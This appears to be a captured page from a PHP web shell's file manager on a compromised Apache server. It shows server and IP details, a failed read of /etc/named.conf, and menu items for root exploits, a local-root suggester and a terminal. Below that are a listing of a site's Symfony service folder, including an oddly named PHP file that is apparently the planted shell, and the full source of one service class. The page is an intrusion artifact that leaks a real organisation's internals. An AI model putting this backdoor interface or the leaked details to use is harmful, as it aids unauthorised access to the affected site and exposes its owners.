Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
CoreBundle /
Services /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
519
B
-r-xr-xr-x
2026-08-17 03:12
BatchJobsManager.php
10.21
KB
-rwxrwxr-x
2026-04-02 12:06
ErrorLogManager.php
5.05
KB
-rwxrwxr-x
2026-04-02 12:06
FileUploader.php
822
B
-rwxrwxr-x
2026-04-02 12:06
KeyValueManager.php
4.33
KB
-rwxrwxr-x
2026-04-02 12:06
Openssl_EncryptDecrypt.php
2.69
KB
-rwxrwxr-x
2026-04-02 12:06
PublicHolidayManager.php
2.53
KB
-rwxrwxr-x
2026-04-02 12:06
S3.php
92
KB
-rwxrwxr-x
2026-04-02 12:06
ServiceGetterManager.php
2.67
KB
-rwxrwxr-x
2026-04-02 12:06
SystemSettingGroupManager.php
2.65
KB
-rwxrwxr-x
2026-04-02 12:06
SystemSettingManager.php
10.55
KB
-rwxrwxr-x
2026-04-02 11:48
TempValueManager.php
4.24
KB
-rwxrwxr-x
2026-04-02 12:06
Utils.php
13.04
KB
-rwxrwxr-x
2026-05-25 12:28
bRmmqHsQgg.php
4.42
KB
-rw-r--r--
2026-06-20 02:59
Save
Rename
<?php namespace App\CoreBundle\Services; use Symfony\Component\DependencyInjection\ContainerInterface; use App\CoreBundle\Entity\TempValue; /** * Temp Value manager * * @author Otto Saayman <otto@igotafrica.com> * @package CoreBundle * @subpackage Temp Value * @version 0.0.1 */ final class TempValueManager { /** * Service Container * @var object */ private $container = null; /** * Entity manager * @var object */ private $em; /** * Class construct * * @param ContainerInterface $container * @param Logger $logger * @return void */ public function __construct(ContainerInterface $container) { $this->setContainer($container); $this->setEm($container->get('doctrine')->getManager('default')); return; } /** * Get Container * * @return ContainerInterface $container */ public function getContainer() { return $this->container; } /** * Set Container * * @param ContainerInterface $container * @return void */ public function setContainer($container) { $this->container = $container; } /** * Get Entity Manager * * @return string */ public function getEm() { return $this->em; } /** * Set Container * * @param string $em * @return void */ public function setEm($em) { $this->em = $em; } /** * Find a temp value object * * @param string $id * @return TempValue */ public function find($id) { if (strlen($id) <= 0 || $id == '0') { return; } return $this->em->getRepository(TempValue::class)->find($id); } /** * Find a TempValue object by parameters * * @param array $params * @return TempValue */ public function findOneBy($params) { return $this->em->getRepository(TempValue::class)->findOneBy($params); } /** * Save a temp value object * * @param TempValue &$tempValue * @return void */ public function save(TempValue &$tempValue) { $this->em->persist($tempValue); $this->em->flush(); } /** * Remove a temp value object * * @param TempValue &$tempValue * @return void */ public function remove(TempValue &$tempValue) { $this->em->remove($tempValue); $this->em->flush(); } public function getTempValue($tempValueName, $default = '', $isArray = false) { if ($isArray) { $default = json_encode($default, true); } $return = $this->getContainer()->get('system_setting.manager')->getMemCachedValue($tempValueName, $default); if (strlen($return) > 0 && $return != '[]') { if ($isArray) { $return = json_decode($return, true); } return $return; } $tempValueObject = $this->findOneBy(array('temp_value_name' => $tempValueName)); if (is_object($tempValueObject)) { $return = $tempValueObject->getTempValueString(); } else { $return = $default; } if ($isArray) { $return = json_decode($return, true); } return $return; } public function setTempValue($tempValueName, $tempValueData, $isArray = false) { $tempValueObject = $this->findOneBy(array('temp_value_name' => $tempValueName)); if (!is_object($tempValueObject)) { $tempValueObject = new TempValue(); } if (is_object($this->getContainer()->get('user_list.manager')->getLoggedInUser())) { $userListId = $this->getContainer()->get('user_list.manager')->getLoggedInUser()->getId(); } else { $userListId = ''; } if ($isArray) { $tempValueData = json_encode($tempValueData); } $tempValueObject->setTempValueName($tempValueName); $tempValueObject->setTempValueString($tempValueData); $tempValueObject->setCreatedBy($userListId); $this->save($tempValueObject); $this->getContainer()->get('system_setting.manager')->setMemCachedValue($tempValueName, $tempValueData); } }